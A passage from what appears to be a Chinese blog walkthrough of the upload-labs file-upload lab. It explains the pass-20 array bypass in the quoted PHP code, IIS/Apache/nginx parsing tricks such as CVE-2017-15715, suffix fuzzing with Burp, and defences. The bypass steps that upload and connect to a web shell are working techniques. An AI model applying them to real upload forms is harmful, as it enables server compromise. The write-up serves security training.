这个方法仅限于 gpc 关闭，php 版本低于 5.3.4 （和目录%00截断相同）

中间件解析漏洞上传

iis6.0 上传 1.php;1.jpg，a.asp;1.jpg 解析成 php、asp

apache 上传 1.php.a 也能解析文件（apache碰到不认识的后缀名会向前解析一次，pass-18 使用过）

当然，还有 move_uploaded_file 忽略 /. 这一特性，即我们上传的文件名为 shell.php/. 也会被忽略为 shell.php 进行上传。

0x20 pass-20 数组绕过上传

原理

有的文件上传，如果支持数组上传或者数组命名。如果逻辑写的有问题会造成安全隐患，导致不可预期的上传。这种上传攻击，它是属于攻击者白盒审计后发现的漏洞居多。

代码分析

  1. $is_upload = false;
  2. $msg = null;
  3. if(!empty($_FILES['upload_file'])){
  4.     //检查MIME
  5.     $allow_type = array('image/jpeg','image/png','image/gif');
  6.     if(!in_array($_FILES['upload_file']['type'],$allow_type)){
  7.         $msg = "禁止上传该类型文件!";
  8.     }else{
  9.         //检查文件名
  10.         $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
  11.         if (!is_array($file)) {
  12.             $file = explode('.', strtolower($file));
  13.         }
  14.  
  15.         $ext = end($file);
  16.         $allow_suffix = array('jpg','png','gif');
  17.         if (!in_array($ext, $allow_suffix)) {
  18.             $msg = "禁止上传该后缀文件!";
  19.         }else{
  20.             $file_name = reset($file) . '.' . $file[count($file) - 1];
  21.             $temp_file = $_FILES['upload_file']['tmp_name'];
  22.             $img_path = UPLOAD_PATH . '/' .$file_name;
  23.             if (move_uploaded_file($temp_file, $img_path)) {
  24.                 $msg = "文件上传成功！";
  25.                 $is_upload = true;
  26.             } else {
  27.                 $msg = "文件上传失败！";
  28.             }
  29.         }
  30.     }
  31. }else{
  32.     $msg = "请选择要上传的文件！";
  33. }

首先检测文件类型，看到可控参数 save_name，如果不是数组，获取后缀名，如果后缀名不是图片就禁止上传。如果是数组，绕过图片类型检测接着处理数组。
首先 一个例子的处理。
<?php
$file= $_GET['save_name'];
echo $file_name = reset($file) . '.' . $file[count($file) - 1];
?>
如果是两个参数 拼接字符串是 xx.php/.png 。如果下标是 1 ，则正常图片上传，如果下标大于 1 则会拼接字符串 xx.php/. 。而在 move_uploaded_file() 函数中 /.会自动忽略，所以可以移动到指定目录。

判断限制

这一关，反正人是挺麻的，反复尝试没找出来思路，不得不在此求助于提示，发现还是一道代码审计的题目，而且还是CTF里面的题目（尬住了，好久都没刷CTF的题目了）仔细研究一下代码，发现它将文件名分成两部分，文件名称和后缀名，那么我们就考虑一下，数组绕过上传。当然，这道题将最后一个后缀名，和最开始的文件名进行拼合，导致我们也没办法对后缀名进行一些操作。而且还要注意，这道题还对 Contnet-Type 进行了验证，还要将其修改为 'image/jpeg','image/png','image/gif' 其中的一个。

绕过方法

数组绕过上传的话，分析一下源代码，我们可以发现，它是利用 $file_name = reset($file) . '.' . $file[count($file) - 1]; 这一行代码进行拼接，那么我们可以考虑一下，将 save_name 修改为数组，然后将允许的图片格式的下标设置为 2 ，将我们想要上传的脚本文件的文件名的下标设置为 0 ，这样在其进行 -1 的时候，下标为 1 无内容，拼接的时候便是 shell.php. 这般，解析的时候会将这个 . 进行忽略，那么我们就能成功绕过上传。

可以发现，我们成功上传，之后便是访问/蚁剑连接。

0x21 其他文件上传漏洞

在 nginx 的0.83版本中，我们在 1.jpg 后面加上 %00php 也可以解析为 php 文件。（这一点和apache倒是反着来的）

apahce 1x 或者 2x
当 apache 遇见不认识的后缀名，会从后向前解析例如 1.php.rar 不认识 rar 就向前解析，直到它认识的后缀名。

phpcgi 漏洞(nginx iis7 或者以上) 当我们上传一个后缀名改为 .jpg 的php文件（例如：1.jpg）时，访问 1.jpg/1.php 也会将其解析成 php 文件。

Apache HTTPD 换行解析漏洞（CVE-2017-15715）：
apache 通过 mod_php 来运行脚本，其 2.4.0-2.4.29 中存在 apache 换行解析漏洞，在解析 php 时 xxx.php\x0A 将被按照 PHP 后缀进行解析，导致绕过一些服务器的安全策略。

0x22 文件上传漏洞通用检测方法

首先判断是否为黑白名单，如果是白名单 寻找可控参数。如果是黑名单禁止上传，可以用有危害的后缀名批量提交测试，然后看看有哪些可以进行上传，去寻找遗留的执行脚本。

在平时的时候我们可以收集一下常见的黑名单内的后缀名，将其作为字典，那么在进行上传漏洞检测时，我们就可以使用 burpsuite 抓包上传将后缀名设置成变量，把这些文件设置成一个字典批量提交。然后根据数据包返回情况来判定一下怎么去绕过。

在进行提交测试的时候记得将下面选项消去，否则会因为编译了 . 对结果产生直接影响。

0x23 文件上传防御方法

服务器端使用白名单防御，修复 web 中间件的漏洞，禁止客户端存在可控参数，存放文件目录禁止脚本执行，限制后缀名 一定要设置图片格式 jpg、gif 、png 文件名随机的，不可预测。

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/我家小花儿/article/detail/617569
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号